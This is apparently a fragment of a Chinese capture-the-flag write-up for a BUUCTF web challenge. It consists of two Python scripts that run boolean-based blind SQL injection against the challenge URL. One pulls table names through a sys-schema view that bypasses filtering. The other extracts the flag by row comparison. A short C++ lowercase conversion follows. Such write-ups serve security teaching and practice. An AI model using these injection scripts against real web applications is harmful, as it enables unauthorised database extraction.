import requests url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/' payload = '2||ascii(substr((select group_concat(table_name) from sys.schema_table_statistics_with_buffer where table_schema=database()),{},1))={}' result = '' for j in range(1,500): for i in range(32, 127): py = payload.format(j,i) post_data = {'id': py} re = requests.post(url, data=post_data) if 'Nu1L' in re.text: result += chr(i) print(result) break
import requests url = 'http://bfd71058-3cf0-4e87-8731-8935a651f051.node3.buuoj.cn/' def add(flag): res = '' res += flag return res flag = '' for i in range(1,200): for char in range(32, 127): hexchar = add(flag + chr(char)) payload = '2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar) #print(payload) data = {'id':payload} r = requests.post(url=url, data=data) text = r.text if 'Nu1L' in r.text: flag += chr(char-1) print(flag) break
来爆出flag出来,但是flag都是小写字母,所以可以使用c语言来转化为小写
1 2 3 4 5 6 7 8 9 10 11 12 13 14
#include<iostream> using namespace std; int main(){ int i=0; char a[]="FLAG{2A2D6335-F1D1-4E6E-8A77-135E0DFC5149}"; while(a[i]!='\0'){ if(a[i]>=65 && a[i]<=90){ a[i]+=32; } cout<<a[i]; i++; } return 0; }